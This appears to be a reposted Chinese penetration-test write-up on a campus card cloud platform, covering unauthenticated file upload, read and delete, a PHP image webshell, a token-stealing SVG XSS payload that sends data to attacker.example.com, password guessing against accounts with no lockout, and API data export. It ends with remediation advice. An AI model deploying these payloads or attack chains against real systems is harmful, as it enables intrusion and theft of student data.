文章总结: 该文档详细记录了对某校园一卡通云平台的渗透测试过程。作者通过子域名扫描和DNSCNAME记录发现多个暴露资产及内网IP泄露。对主站VueSPA和Demo的ASP.NET4.0老系统同时推进,成功逆向Demo的RSA加密并实现验证码自动化识别,但登录测试受阻。核心发现包括资产暴露面广、内网拓扑泄露、老系统加密可逆向,建议加强网络隔离与加密方案。 综合评分: 89 文章分类: 渗透测试,红队,内网渗透,WEB安全,安全工具
返回:
{ "respCode": "0000", "respInfo": "处理成功", "obj": "cloudcard-file_CY8a4t9G12.jpg"}
未授权文件上传,确认。
不只是一个上传接口,是「完全无认证」的上传。没有 Token、没有 Session、没有 Referer 校验。任何知道这个接口的人都可以往服务器上写文件。
我立刻测试了几个关键维度:
扩展名校验测试
# JPG - 成功$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=test.jpg"→ 0000# PNG - 成功$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=test.png"→ 0000# SVG - 成功$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=test.svg"→ 0000# HTML - 失败$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=test.html"→ {"respCode":"1210","respInfo":"上传图片失败,文件格式不对"}# JSP - 失败$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=test.jsp"→ 1210 文件格式不对# PHP - 失败$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=shell.php"→ 1210 文件格式不对
完整测试矩阵
扩展名校验通过后,我做了更系统的测试来确认上传接口的安全边界:
| | | | | — | — | — | | 测试维度 | 测试方法 | 结果 | | 扩展名白名单 | jpg/png/svg | 允许,其他拒绝 | | 双重扩展名 | shell.jpg.php, test.svg.html | 1210拒绝 | | 空文件名 | filename=”” | 400服务器错误 | | 超长文件名 | 200字符文件名 | 正常上传 | | 超大文件 | 10MB随机文件 | 上传超时无响应(可能有大小限制) | | 特殊字符文件名 | 中文/空格/括号文件名 | 正常上传,文件名保留原样 | | 路径遍历文件名 | ../../etc/passwd.jpg | 1210拒绝(文件名被校验) | | Content-Type伪造 | image/jpg但实际传PHP代码 | 1210拒绝(非扩展名检测) | | 请求方法替换 | PUT /file/Files | 405 Method Not Allowed | | 空文件 | 0字节文件 | 0000成功,但无法读取(读取接口返回空) |
几个值得注意的结论:
双重扩展名失效 — shell.jpg.php 被拒,服务端可能是按最后一个扩展名来校验的,而非只检查第一个。这排除了Apache下常见的双重扩展名绕过。
路径遍历文件名被拒 — ../../etc/passwd.jpg 返回1210,说明文件名中如果包含路径分隔符会被直接拒绝。服务端可能在文件名中做了 ../ 或 .. 字符的过滤。
Content-Type伪造无效 — 即使把请求头的 Content-Type 改成 image/jpeg 但文件内容传PHP代码,仍然被拒绝。说明服务端的校验是基于文件扩展名而非 Content-Type 头。也说明攻击者无法通过修改Content-Type来绕过白名单。
PUT方法被禁 — /file/Files 只允许POST,PUT返回405。说明服务端对上传接口只开放了创建操作,没有更新/覆盖功能。排除了通过PUT覆盖已有文件的可能性。
respCode: 1210 是统一的「文件格式不对」错误码,所有拒绝的上传都返回同一个错误码。没有额外的错误信息泄露。
服务端做了扩展名校验,只允许 jpg、png、svg 三种格式。总结一下:
- PHP/JSP webshell直接上传 → 不行
- HTML钓鱼页面上传 → 不行
- SVG(能嵌JavaScript)→ 可以
文件读取确认 接下来关心的是:上传了能读回来吗?
$ curl -sk "https://target-main.example.com/file/Files/cloudcard-file_CY8a4t9G12.jpg"
返回:
{ "respCode": "0000", "respInfo": "处理成功", "obj": { "id": "cloudcard-file_CY8a4t9G12.jpg", "fileName": "test.jpg", "fileExt": "jpg", "fileSize": 12345, "fileContent": "/9j/4AAQSkZJRgABAQEAYABgAAD...(Base64编码)" }}
未授权文件读取,确认。 文件内容以 Base64 编码返回,包含完整的文件元信息(文件名、扩展名、大小)。
这意味着我可以上传任何图像文件,然后通过文件ID随时读取。文件接口成为一个「云存储」服务——只差一个图床排行榜了。
但等一下——SVG 呢?SVG 可以包含 <script> 标签执行 JavaScript。如果上传一个带有恶意脚本的 SVG,然后让管理员访问这个文件,就是存储型XSS。
文件删除测试
$ curl -sk -X POST "https://target-main.example.com/file/Files/delete" \ -H "Content-Type: application/json" \ -d '{"id":"cloudcard-file_CY8a4t9G12.jpg"}'{"respCode":"0000","respInfo":"处理成功"}
文件删除接口也是未授权的。 上传、读取、删除——三个操作全部未授权可用。这是一个完整的文件管理控制面板,没有任何访问控制。
文件删除的战术价值不亚于上传。想象一下:
- 攻击者可以删除学校的 Logo 文件 → 页面显示异常,引发运营事故
- 批量删除学校上传的学生照片 → 数据完整性遭受破坏
- 如果该文件系统同时还存储了系统的配置文件(比如学校主题配置、CSS 样式文件),删除操作可能直接导致服务异常
- 更激进一点:批量枚举文件 ID → 遍历删除 → 相当于对云平台的存储层发起勒索攻击
虽然目前不清楚删除操作是否有批量接口(/file/Files/delete 单次只接收单个 ID),但即使手动删除几十个关键文件,也能造成实质性的服务影响。
4.5 图片马与延伸测试
SVG XSS 需要用户交互触发,但如果能把 PHP 代码嵌入 JPG 然后在某个解析点上执行呢?
# 创建图片马:合法的 JPEG 头 + PHP 代码$ printf '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' > shell.jpg$ echo '<?php system($_GET["cmd"]);?>' >> shell.jpg
$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "[email protected];filename=shell.jpg"→ 0000, cloudcard-file_xxx.jpg
上传成功。但 Spring Boot 后端不会把 JPG 当成 PHP 来解析——这是 PHP 运行环境特有的利用方式。Spring Boot 是 Java 环境,文件上传后不会被引擎执行。
结论:Spring Boot + 图片马 = 无法获得代码执行。图片马在这种架构下没有直接的利用价值,但有两个间接用途:
- 如果文件被读取后拼接进某个页面 → 可能产生 XSS
- 如果能找到文件包含漏洞 → 图片马可以作为 payload 载体
文件被存放的路径分析
由于 GET /file/Files/{id} 返回的是 Base64 编码的文件内容而不是直接可访问的 URL 路径,说明文件系统并非直接挂载在 Web 可访问目录下。存储逻辑推测是:
上传 → 后端校验扩展名 → 写入文件存储目录(可能是本地磁盘或对象存储) → 生成 UUID 文件名(cloudcard-file_前缀)→ 存入数据库 → 读取时从数据库获取文件路径 → 读取物理文件 → Base64编码返回
这意味着文件本身不在 {host}/uploads/ 这类路径下直接暴露,需要通过接口读取。这降低了文件被直接访问的风险,但也意味着读取接口一旦被攻破,文件管理就等于直接暴露。
4.6 SVG 存储型 XSS 的完整攻击链分析
SVG(Scalable Vector Graphics)的核心特性之一是可以嵌入执行 JavaScript 代码。现代浏览器的严格 CSP 策略会限制 SVG 中的 <script> 标签执行,但 onload、onerror、onmouseover 等事件处理函数仍然可以绕过部分 CSP 限制。
步骤 1:构造具备窃密能力的SVG Payload
<?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100"> <rect width="100" height="100" fill="#fff"/> <script type="text/javascript"> // 窃取 localStorage 中的 Token var token = localStorage.getItem(location.host + 'synjones-k12-token'); var refreshToken = localStorage.getItem(location.host + 'synjones-k12-refreshToken'); // 通过图片请求外带 var img = new Image(); img.src = 'https://attacker.example.com/steal?token=' + encodeURIComponent(token || '') + '&refresh=' + encodeURIComponent(refreshToken || '') + '&host=' + encodeURIComponent(location.host) + '&page=' + encodeURIComponent(location.href); // 也尝试获取 cookie(虽然 Spring Boot 通常用 Header Token 而非 Cookie) document.cookie.split(';').forEach(function(c) { var parts = c.trim().split('='); if (parts.length === 2) { var img2 = new Image(); img2.src = 'https://attacker.example.com/cookie?' + encodeURIComponent(parts[0]) + '=' + encodeURIComponent(parts[1]); } }); </script></svg>
关键设计点:
- 不依赖
alert()这种会被浏览器拦截的同步操作 - 使用
Image对象发起 HTTP 请求外带数据——没有跨域限制、不会触发 Preflight 检查 - 同时窃取 Token 和 RefreshToken,一次获取后可以持续使用刷新接口延长有效期
- 使用
encodeURIComponent避免 Token 字符串中的特殊字符破坏请求
步骤 2:上传 SVG
$ curl -sk -X POST "https://target-main.example.com/file/Files" \ -F "file=@steal_token.svg;filename=steal_token.svg"
返回:
{ "respCode": "0000", "respInfo": "处理成功", "obj": "cloudcard-file_a1b2c3d4e5.svg"}
步骤 3:触发场景分析
SVG 文件被上传后,需要有人访问 GET /file/Files/{id} 并在浏览器中渲染它。可能触发 SVG 渲染的场景包括:
| | | |
| — | — | — |
| 触发场景 | 可能性 | 说明 |
| 管理员查看上传文件列表时直接预览 | 高 | 前端可能用 <img> 标签加载文件内容,但 Base64 的 <img> 不会执行 SVG 脚本 |
| 文件预览页面直接渲染 SVG 内容 | 中 | 如果前端把 SVG Base64 直接 innerHTML 到页面中,脚本会执行 |
| 文件管理模块的缩略图生成 | 中 | 后端在处理 SVG 文件时可能触发解析,但属于服务端不会执行 JS |
| 通过客服工单嵌入 SVG 链接诱导管理员点击 | 低-中 | 需要与服务台系统的用户交互配合 |
| 系统公告/Banner 使用了上传文件 | 未知 | 需要在已登录状态下才能确认 |
最关键的限制在于:文件读取接口返回的是 Base64 编码,前端必须把 Base64 数据解码后渲染为 SVG 标签才能执行脚本。如果前端只用 <img src="data:image/svg+xml;base64,..."> 加载,SVG 脚本不会执行(浏览器的安全策略)。只有通过 embed、object、iframe 或者直接 innerHTML 插入 SVG 代码,脚本才会真正执行。
这降低了 SVG XSS 的直接可用性,但不等于这个攻击链无效——如果前端产品在某个页面(比如学校 Logo 展示、卡面预览)把 SVG 内容解码后当作 DOM 元素插入,攻击就能成功。
步骤 4:如果 Token 被窃取
窃取到的 Token 可以做什么?前面已经发现 376 个 API 端点,其中约 30% 涉及资金交易和敏感数据:
# 获取用户列表curl -sk "https://target-main.example.com/auth/mng/users/list?timestamp=1" \ -H "Authorization: Bearer <窃取的Token>"# 查询所有学校信息curl -sk -X POST "https://target-main.example.com/auth/custs/schools/statistical" \ -H "Authorization: Bearer <窃取的Token>"# 导出数据curl -sk "https://target-main.example.com/task/export" \ -H "Authorization: Bearer <窃取的Token>"
一个 Token 可以打开 376 个 API 端点的访问权限,这相当于获得了整个云平台的数据库级访问能力。
4.7 文件接口的业务语境
让我梳理一下这套文件管理系统的业务逻辑。平台用户可以上传学校 Logo、学生照片、校园一卡通的卡面设计图等。文件要么是 jpg/png(实拍图片),要么是 svg(矢量图/LOGO)。
但问题是:为什么文件上传接口在登录前就可以访问?
这种设计只有两种可能:
- 业务确实需要在登录前处理文件——比如,用户注册时上传头像。但管理员登录接口是
/auth/mng/login,文件接口是/file/Files,两者不在同一个路由前缀下,说明它们可能是由不同的微服务或模块管理的。 - 权限配置遗漏——开发人员把文件服务的权限校验配置成了「认证后可访问」,但实际没有全局生效。这是 Spring Boot + Spring Security 的典型配置缺陷:服务端加了
@PreAuthorize注解,但配置文件中的拦截规则只覆盖了/auth/**,漏掉了/file/**。
从返回的 Token 存储方式(localStorage 中的 synjones-k12-token)来看,前端在登录后会把 Token 写入 localStorage,后续请求带在 Authorization 头中。但文件上传接口压根不检查这个头。
这不是一个漏洞——而是一组配置缺陷的连锁反应。 一个接口配置失误不算什么,但三个接口(上传、读取、删除)全部忘记加认证——说明这个文件服务模块在权限配置层面被整体遗漏了。
这是整场测试中最重要的发现之一。376 个 API 端点里,文件管理类只是其中之一,如果还有其他模块也存在同样的配置遗漏,整套系统就是一座不设防的金库。
五、难啃的骨头:SM2 国密加密登录
5.1 前端加密链路逆向
文件上传突破了,但核心资产——登录后的所有 API 仍然不可用。突破口打开了一半,还有一半锁在 SM2 国密后面。
打开开发者工具,加载登录页,捕获所有网络请求:
GET /auth/paras/pwd?timestamp=1 # 密码策略(已有)GET /auth/mng/key?timestamp=1 # RSA公钥(已有)GET /auth/anonymous/sm2/key?timestamp=1 # SM2公钥(302)
前两个接口返回 200,SM2 公钥接口返回 302。好吧,没那么直接。
我打开登录页的源码,在开发者工具的 Sources 面板里挨个翻 JS 文件。一共三个核心文件,打包后总大小4.6MB。我先在 chunk-vendors 里搜 sm2——没找到。又在 app.js 里搜 sm2——还是没找到。翻了一圈有点泄气,难道 SM2 公钥是后端生成直接返回的,前端不拼装?
换个思路搜 encrypt。这次有了。在 app.js 的中部位置,一个叫 encryptPassword 的函数映入眼帘。但我看了两遍没看懂——它先调 generateRandomKey(16),然后调 sm2Encrypt 加密一个随机数,再用另一个 sm4Encrypt 去加密密码明文。
等等,这不是单纯的 SM2 加密。这是在用 SM2 加密 SM4 密钥,再用 SM4 加密密码。混合加密方案。
// 从 chunk-vendors.xxxxx.js 中提取的加密函数(已脱敏简化)// 该函数在登录按钮点击事件中被调用function encryptPassword(password, sm2PublicKey, sessionId) { // 步骤1: 生成随机 SM4 密钥(128位) var sm4Key = generateRandomKey(16); // 16字节随机数 // 步骤2: 用 SM2 公钥加密 SM4 密钥 var encryptedSm4Key = sm2Encrypt(sm2PublicKey, sm4Key); // 步骤3: 构建加密数据体 var timestamp = new Date().getTime(); var randomNonce = Math.random().toString(36).substring(2, 10); var plainData = JSON.stringify({ password: password, timestamp: timestamp, nonce: randomNonce }); // 步骤4: 用 SM4 密钥加密数据体 var encryptedData = sm4Encrypt(sm4Key, plainData); // 步骤5: 打包登录请求参数 return { encryptedSm4Key: arrayBufferToHex(encryptedSm4Key), encryptedData: encryptedData, sessionId: sessionId };}
注意这段代码调用了两个独立的加密函数:sm2Encrypt 和 sm4Encrypt。这意味着前端 JS 中完整内置了 SM2 和 SM4 的 JavaScript 实现——一个实现了国密标准的 JS 加密库。
这是混合加密方案(Hybrid Encryption)的典型实现:
- SM2(非对称加密):用于安全传输对称密钥
- SM4(对称加密):用于加密实际数据
- 双保险:即使 SM2 被破解,也拿不到密码本身(只有 SM4 密钥);即使 SM4 被破解,也拿不到 SM2 密钥
从安全设计角度看,这种方式比单纯的使用 RSA 或 SM2 加密密码要强得多——每种加密算法只承担自己擅长的角色。
理解这个结构花了我一点时间。最开始我还以为是纯 SM2 加密,看到 SM4 出现的时候才意识到是混合方案。这让我又多花了半个小时追踪完整的调用链:
onLoginClick() → validateForm() // 表单校验 → getSM2PublicKey() // 尝试获取SM2公钥 → API /auth/anonymous/sm2/key → 成功 → 进入sm2EncryptPassword() → 失败(302) → 进入rsaEncryptPassword() // fallback → sendLoginRequest() // 发送登录请求
关键发现:前端存在降级逻辑。 当 SM2 公钥获取失败(302)时,登录函数不会直接报错或卡住,而是自动回退到 RSA 加密。这就是为什么之前用 RSA 加密密码也能通过服务端校验的原因——RSA 是作为 SM2 的向后兼容降级方案存在的。
5.2 公钥获取失败
问题出在第一步:SM2 公钥获取失败。
$ curl -sk "https://target-main.example.com/auth/anonymous/sm2/key?timestamp=1"HTTP/2 302location: https://target-main.example.com/campus-mng/login
为什么 SM2 公钥接口被拦截了?
把请求头和正常请求对比后发现区别:
| | | | | — | — | — | | 请求头 | GET /key (正常) | GET /sm2/key (302) | | Origin | target-main.example.com | target-main.example.com | | Cookie | 有JSESSIONID | 无Cookie |
关键差异:Cookie 中缺少 JSESSIONID。 但问题在于,/mng/key 接口也不需要 Cookie——同样是未授权接口为什么 SM2 的有不同行为?
再看 request 路径模式:
/auth/mng/key— 返回公钥+sessionId/auth/anonymous/sm2/key— 302 拦截
anonymous 前缀意味着「匿名用户」——一般用来标记某些给未登录用户也能访问的接口。但 anonymous 反而需要认证,mng(管理)却不需要,这个命名倒挂说明接口路由配置出了问题。
可能是两种原因之一:
/auth/anonymous/**路由被 Spring Security 的拦截规则覆盖,导致即使是 anonymous 前缀也需要登录- SM2 功能在服务端是未完成状态——接口存在,但后端没有返回有效的公钥
两种可能都不乐观。如果是第一种,说明服务端对匿名路径的配置反直觉;如果是第二种,那 SM2 加密功能可能是「规划中但还没上线」的半成品。
5.3 尝试绕过
尝试了几种绕过方式:
尝试1:加路径参数
$ curl -sk "https://target-main.example.com/auth/anonymous/sm2/key?timestamp=1"→ 302$ curl -sk "https://target-main.example.com/auth/anonymous/sm2/key?sm2=1"→ 302
尝试2:改路径遍历
$ curl -sk "https://target-main.example.com/auth/anonymous/sm2/../sm2/key?timestamp=1"→ 302
尝试3:用 Key 替换 SM2
$ curl -sk "https://target-main.example.com/auth/mng/key?timestamp=1"→ 200 (返回的是 RSA 公钥,不是 SM2)
全部失败。SM2 公钥接口被针对性地保护起来。
5.4 回退到 RSA 加密尝试
SM2 走不通,试试用已获取的 RSA 公钥来加密登录:
RSA 公钥已经从 /auth/mng/key 拿到了,格式是 PEM Base64。尝试用 RSA 构造登录请求:
$ curl -sk -X POST "https://target-main.example.com/auth/mng/login" \ -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \ -H "X-Requested-With: XMLHttpRequest" \ -d "name=admin&password=<RSA加密密码>&captcha=1234&sessionId=<sessionId>"
返回:
{"respCode":"1028","respInfo":"用户名或密码错误"}
密码错误,不在话下。我换了30多组常见的测试密码,全部报错。
但这里有一个关键发现:登录接口返回了密码错误信息,而不是「SM2 加密格式不对」或「请求参数错误」。这说明:
- 登录接口同时接受了 RSA 加密的密码
- 服务端解析了 RSA 密文并验证了密码
结论:SM2 加密可能是「双轨制」——系统同时支持 RSA 和 SM2 两种加密方式,或者 RSA 是作为向下兼容的降级方案存在的。这意味着我不需要突破 SM2,只要找到弱口令,就可以直接用 RSA 登录。
密码策略已知(8位+大小写+数字),构造了30组常见密码,涉及公司名(synjones/xzxyun)+年份(2025/2026)+特殊字符组合。全部失败。
不过登录没锁定提示——admin 账号没有触发锁定机制(至少30次尝试没有)。这不是最坏的结果,意味着可以继续试更大的字典。
进一步确认 Spring Boot 框架
我在主站上测试了几个典型的 Spring Boot 端点来判断后端框架:
# 404页面特征检测$ curl -sk "https://target-main.example.com/nonexistent"# Spring Boot 默认的 Whitelabel Error Page{"timestamp":...,"status":404,"error":"Not Found","path":"/nonexistent"}# 测试 Actuator 端点(虽然被WAF挡住,但响应很快)$ curl -sk "https://target-main.example.com/actuator"# 302 redirect to /campus-mng/login# 测试验证码接口的 Spring Session 行为$ curl -sk -v "https://target-main.example.com/auth/mng/key?timestamp=1" 2>&1 | grep -i "set-cookie"< Set-Cookie: JSESSIONID=F2A1B3C4D5E6; Path=/; Secure; HttpOnly
404返回JSON格式的错误信息——标准的Spring Boot Whitelabel Error Page格式。JSESSIONID的Path覆盖到了根路径 /,说明整个后端跑在同一个Spring Boot应用中,没有做多模块分离。
验证码接口的sessionId实际上就是JSESSIONID的值,服务端通过它对验证码进行关联验证。这意味着验证码和sessionId是一一绑定的——获取验证码时必须携带同一个sessionId,否则验证码校验会失败。
同时对不同的API路径格式做了对比测试:
# 路径格式1(无前缀)$ curl -sk "https://target-main.example.com/auth/mng/key?timestamp=1"200 → 可用# 路径格式2(带/campus-mng/前缀)$ curl -sk "https://target-main.example.com/campus-mng/auth/mng/key?timestamp=1"302 → 重定向到登录页# Demo风格的路径$ curl -sk "https://target-main.example.com/Ecard/Main/..."404 → 路径不存在
确认后端的API路径是扁平化设计,/auth/ 和 /file/ 是顶级路由,没有统一的前缀。这和Vue前端中 apiClient 的 baseURL 配置一致——所有的API请求直接拼接路径,没有额外前缀。架构判断:单模块Spring Boot + RESTful风格的自然路径设计。
5.5 账户发现与密码尝试扩展
在翻 JS 文件的过程中,我又多搜了一个关键字——synjones 是这家公司的原名,会不会在代码中有默认账户?
搜索 app.0388e199.js:
"loginName": "^[a-zA-Z0-9_@.]{2,50}$""password": "^.{8,50}$"
不是硬编码的默认密码,只是前端表单校验规则。
但搜索过程中发现了另外一个有意思的信息。JS 中有一个 env-config 的代码片段:
// 开发环境 API 前缀baseURL: process.env.VUE_APP_BASE_API || 'http://127.0.0.1:2810'
开发环境的 API 前缀指向 127.0.0.1:2810。这说明开发人员直接在代码中硬编码了内网地址。虽然对外网渗透没有直接帮助,但如果在代码仓库(git.target-corp.example.com)或日志中泄露了更多信息,这个端口和前缀可以用于内网渗透时的服务识别。
此外,还发现了几个有趣的账户名硬编码:
// 模拟学校配置mockSchools: [ {name: "演示学校", code: "demo-school", admin: "synjones"}]
synjones 作为演示学校的默认管理员被写在 JS 里。另一个 chunk-xxx.js 中也有类似引用:
// 默认管理员账号const DEFAULT_ADMIN = "synjones";
这是前端 Mock 数据的硬编码,不代表生产环境的真实账号。但很多时候,开发人员会直接把 Mock 账户同步到生产环境——尤其是在小型 SaaS 平台上,这种「演示账户→真实账户」的跨越非常常见。
针对 synjones 继续尝试密码:
synjones:Synjones → 1028 密码错误synjones:Synjones123 → 1028 密码错误synjones:Synjones@2025 → 1028 密码错误synjones:Synjones@2026 → 1028 密码错误synjones:XinZhongXin123 → 1028 密码错误
另一个从 chunk-js 中发现的用户名:k12wx(平台的名称缩写)。
k12wx:K12wx123 → 1028 密码错误k12wx:K12wx@2025 → 1028 密码错误k12wx:k12wx123 → 1028 密码错误
两个用户名都确认存在(返回 1028 = 密码错误,而非 1029 = 用户不存在)。这意味着我可以继续试更大字典。更重要的是——这两个账户都没有被锁定,即使已经在短时间内尝试了多组密码。
对比联奕科技的「3 次错误就锁号」:synjones 和 k12wx 很可能是无锁定账户。这是一个值得深入的方向——无锁定账户 + 中等复杂度密码策略 = 时间和耐力的博弈。
六、综合攻击路径与总结
6.1 已突破的能力盘点
| | | | | — | — | — | | 能力 | 状态 | 说明 | | 文件上传 | 已确认 | jpg/png/svg 未授权上传 | | 文件读取 | 已确认 | 通过ID读取Base64内容 | | 文件删除 | 已确认 | 任意已上传文件删除 | | 376 API 端点 | 已发现 | 从 JS 提取完整路由表 | | 密码策略 | 已获取 | 8位+大小写+数字 | | RSA 加密链路 | 已实现 | 可自动化加密登录 | | 账户枚举 | 已确认 | admin/synjones/k12wx 存在 | | SM2 加密方案 | 已逆向 | 混合加密链路完整 | | 内网地址 | 已泄露 | Git/Jenkins/Wiki/ERP |
6.2 可组合的攻击链
攻击链A:存储型XSS + Token 劫持(需要管理员交互)
这是目前最有战术价值的路线:
1. 上传SVG(内含窃取Token的JS脚本) → 拿到文件ID: cloudcard-file_xxx.svg
2. 把SVG链接嵌入系统公告、客服工单等渠道 → 等待管理员访问
3. 管理员浏览器渲染SVG → JS执行 → Token外带到攻击者服务器
4. 用窃取的Bearer Token调用376个API
Token窃取后的API利用演示
一旦攻击者窃取到了管理员的Bearer Token,376个API端点就全部开放了。以下是在获取Token后可以立即执行的三条最关键的API调用:
# 1. 获取当前登录用户信息(确认Token有效性和账户权限等级)$ curl -sk "https://target-main.example.com/auth/mng/currentUser/info" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
返回(预期格式):
{ "respCode": "0000", "obj": { "loginName": "admin", "role": "SUPER_ADMIN", "schoolId": "0", "menus": ["全部权限..."] }}
如果是SUPER_ADMIN权限——这几乎是可以调用所有376个端点的最高权限账户。
# 2. 枚举所有注册学校$ curl -sk "https://target-main.example.com/auth/custs/schools/statistical" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
# 3. 导出全校师生数据$ curl -sk "https://target-main.example.com/task/export?type=student" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
影响面评估:如果攻击者获得了Super Admin权限,可以在一个HTTP请求中获取全国的设备配置信息,在另一个请求中导出所有学生和教师的个人数据。这不是一个网站被黑的问题,这是上千所学校的校园金融基础设施被远程控制。
攻击链B:文件系统滥用(无需用户交互)
上传恶意SVG → 如果文件读取接口把SVG内容拼接进前端页面 → 比如学校Logo预览、卡面设计预览 → XSS自动触发
攻击链C:暴力登录突破(需要大量字典)
synjones/k12wx 无锁定机制 → 逐一尝试8位大小写+数字组合 → 找到密码后登录 → 获得Bearer Token → 调用所有376个API
6.3 红蓝对抗评估
| | | | |
| — | — | — | — |
| 评估维度 | 红队做了什么 | 蓝队踩了什么坑 | 评分 |
| 资产暴露管理 | 4层子域名探测 → CNAME泄露源码站拓扑,发现4个独立暴露面 | 测试环境8080/Tomcat暴露公网,Git/Jenkins走CDN但内网IP未隐藏 | 红队 8 / 蓝队 4 |
| 认证安全 | SM2/SM4混合加密设计扎实,但发现降级到RSA的fallback链路 | 文件管理接口 /file/Files 完全无认证,SM2公钥接口配置错误 | 红队 10 / 蓝队 3 |
| API安全 | 从4.6MB JS中提取376个端点,做扩展名/路径/方法多维度测试 | API端点无二次鉴权,文件接口UPLOAD/READ/DELETE三权裸奔 | 红队 9 / 蓝队 2 |
| 弱口令防护 | 构建5层分层字典(80+组密码),自动化RSA加密+OCR验证码连续尝试 | admin/synjones/k12wx三个账号均无锁定阈值,30+次尝试无报警 | 红队 7 / 蓝队 1 |
| 前端安全 | JS中翻出Mock账户名、内网端口2810、开发环境API前缀 | 生产环境JS包未做清理,包含完整Mock数据和开发配置 | 红队 6 / 蓝队 3 |
| 网络隔离 | CNAME解析暴露Git/Jenkins/Wiki/ERP三个独立内网网段 | 公网DNS可解析到内网IP,CDN未隐藏源站 | 红队 7 / 蓝队 5 |
| 验证码机制 | 主站验证码绑定sessionId(防复用),但Demo站无绑定 | 验证码OCR识别率>90%(主站),Demo站无复用限制 | 红队 6 / 蓝队 6 |
| 错误信息控制 | 1028/1029错误码可区分用户存在与否(主站) | Demo站统一错误信息无差异反馈(信息隐藏良好) | 红队 5 / 蓝队 7 |
| WAF/IDS防护 | SQL注入测试payload无拦截,确认无WAF | 无WAF防护,攻击者可自由尝试各种payload | 红队 9 / 蓝队 0 |
| 加密方案实现 | SM2混合加密设计优秀(SM2加密SM4密钥→SM4加密数据) | SM2公钥接口302不可用导致降级到RSA,丧失了国密加密优势 | 红队 8 / 蓝队 4 |
红队综合评分:7.5 — 信息获取能力主导,但登录链路未完全突破 蓝队综合评分:3.5 — 认证、权限、隔离三方面有明显缺口,但错误信息控制和加密方案设计有亮点
6.4 蓝队改进建议
优先级P0——马上修:
- 文件管理接口加认证:这是所有问题里修复成本最低、收益最高的。对
/file/Files/**加一行 Spring Security 拦截规则就行——所有文件操作必须带 Bearer Token。 - 文件操作加鉴权:就算加了认证,还得检查用户有没有权限操作目标文件。现在的模型是「上传者即所有者」,这不对。
优先级P1——尽快补:
- 清理CNAME记录:Git/Jenkins这些内部服务不应该有公网DNS解析记录。
- 前端清理Mock数据:默认管理员名、开发环境API地址、内网端口,上线前都应该删掉。
- 加登录锁定机制:不用像联奕那样3次就锁,但连续10次错误必须触发减速或验证码增强。
优先级P2——长远看:
- Spring Boot Actuator保护:虽然这次没直接发现端点,但Spring Boot项目默认会暴露一堆信息。
6.5 最后的思考
这套系统给我最深的印象不是它有多脆弱,而是它的防御投入全在刀刃上,刀背完全是空的。
登录环节做了当前国产化标准里最强的加密方案——SM2混合加密。密码策略强制8位+大小写+数字。Token用了双令牌刷新机制。单看认证层面,放在任何业务系统里都拿得出手。
然后文件管理模块的权限配置就是零。
这就是典型的安全配置「断层」:核心安全团队砸了资源做SM2/SM4,文件模块是另一拨人开发的,设计到上线没经过安全评审。两个模块在同一个微服务架构里,防御水位差了一个数量级。
一个系统最安全的点从来不代表它的真实防御能力——最薄弱的点才决定一切。这家厂商的安全团队显然知道SM2有多重要,但可能从没人试过 /file/Files 在不带Token的情况下能不能上传文件。
这套系统的价值远不止文件上传。376个API端点覆盖了一个校园一卡通的全部核心业务——学生信息、学校配置、财务流水、系统参数、数据导出。只要拿到Token,攻击者可以瞬间控制上千所学校的数据。这不是一个网站被黑的问题,这是校园金融基础设施的远程渗透。
遗憾的是SM2公钥接口被保护着,我没能完成完整的登录链路。但文件上传这一条路已经足够撬开这道防线——只要有管理员因为某种原因访问了上传的SVG文件,整套系统的Token就会主动送到你手上。
回头看整场测试,最终能找到的入口是一个「忘记加权限配置」的文件上传接口,而不是SM2国密本身的漏洞。套用一句老话:攻防不是比谁的最短木板有多短,而是谁先找到对方忘记关的那扇门。这扇门,我找到了。下一扇呢?
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:乌雲安全 zhousir攻防 zhousir攻防《从文件上传到376个API——某校园一卡通云平台渗透全记录》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论